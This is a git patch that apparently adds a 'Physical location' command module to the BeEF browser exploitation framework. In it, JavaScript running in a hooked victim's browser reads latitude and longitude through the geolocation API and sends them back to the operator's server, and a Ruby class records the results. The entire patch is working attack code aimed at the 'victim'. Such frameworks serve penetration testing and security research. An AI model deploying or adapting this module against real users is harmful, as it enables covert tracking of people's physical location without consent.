From 313fec27b5ac2f773af30fd9fce6afcb0f2996bd Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 13 Nov 2010 17:08:30 +0000 Subject: [PATCH] added geolocation detection (first draft) git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/server/modules/common.rb | 2 +- modules/beefjs/geolocation.js | 43 +++++++++++++++++++ .../physical_location/physical_location.js | 9 ++++ .../physical_location/physical_location.rb | 39 +++++++++++++++++ 4 files changed, 92 insertions(+), 1 deletion(-) create mode 100644 modules/beefjs/geolocation.js create mode 100644 modules/commands/host/physical_location/physical_location.js create mode 100644 modules/commands/host/physical_location/physical_location.rb diff --git a/lib/server/modules/common.rb b/lib/server/modules/common.rb index 713831ee2..8bbe984ab 100644 --- a/lib/server/modules/common.rb +++ b/lib/server/modules/common.rb @@ -18,7 +18,7 @@ module Modules # set up values required to construct beefjs beefjs = '' # init the beefjs string (to be sent as the beefjs file) beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files - js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js) + js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js geolocation.js) # construct the beefjs string from file(s) js_sub_files.each {|js_sub_file_name| diff --git a/modules/beefjs/geolocation.js b/modules/beefjs/geolocation.js new file mode 100644 index 000000000..09cf03ca9 --- /dev/null +++ b/modules/beefjs/geolocation.js @@ -0,0 +1,43 @@ +/*! + * @literal object: beef.geolocation + * + * Provides functionalities to use the geolocation API. + */ +beef.geolocation = { + + /** + * check if browser supports the geolocation API + */ + isGeolocationEnabled: function(){ + var isEnabled = false; + + if (navigator.geolocation) { + isEnabled = true; + } + + return isEnabled; + }, + + /* + * retrieve latitude/longitude using the geolocation API + */ + getVictimGeolocation: function (command_url, command_id){ + //var result = null; + + if (navigator.geolocation) { + navigator.geolocation.getCurrentPosition( + function(position){ //note: this is an async call + var latitude = position.coords.latitude; + var longitude = position.coords.longitude; + beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude); + + }, function(position){ + beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR"); + }); + } else { + beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED"); + } + } +} + +beef.regCmp('beef.geolocation'); \ No newline at end of file diff --git a/modules/commands/host/physical_location/physical_location.js b/modules/commands/host/physical_location/physical_location.js new file mode 100644 index 000000000..41a21c909 --- /dev/null +++ b/modules/commands/host/physical_location/physical_location.js @@ -0,0 +1,9 @@ +beef.execute(function() { + + if(beef.geolocation.isGeolocationEnabled()){ + beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>); + }else{ + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude="); + } +}); + diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb new file mode 100644 index 000000000..d91c58f9a --- /dev/null +++ b/modules/commands/host/physical_location/physical_location.rb @@ -0,0 +1,39 @@ +module BeEF +module Modules +module Commands + + +class Physical_location < BeEF::Command + + def initialize + super({ + 'Name' => 'Physical location', + 'Description' => %Q{ + This module will retrieve the physical location of the victim using the geolocation API + }, + 'Category' => 'Host', + 'Author' => ['antisnatchor'], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::ALL + } + }) + + use 'beef.geolocation' + use_template! + end + + def callback + content = {} + content['Geolocation Enabled'] = @datastore['geoLocEnabled'] + content['Latitude'] = @datastore['latitude'] + content['Longitude'] = @datastore['longitude'] + save content + end + +end + + +end +end +end \ No newline at end of file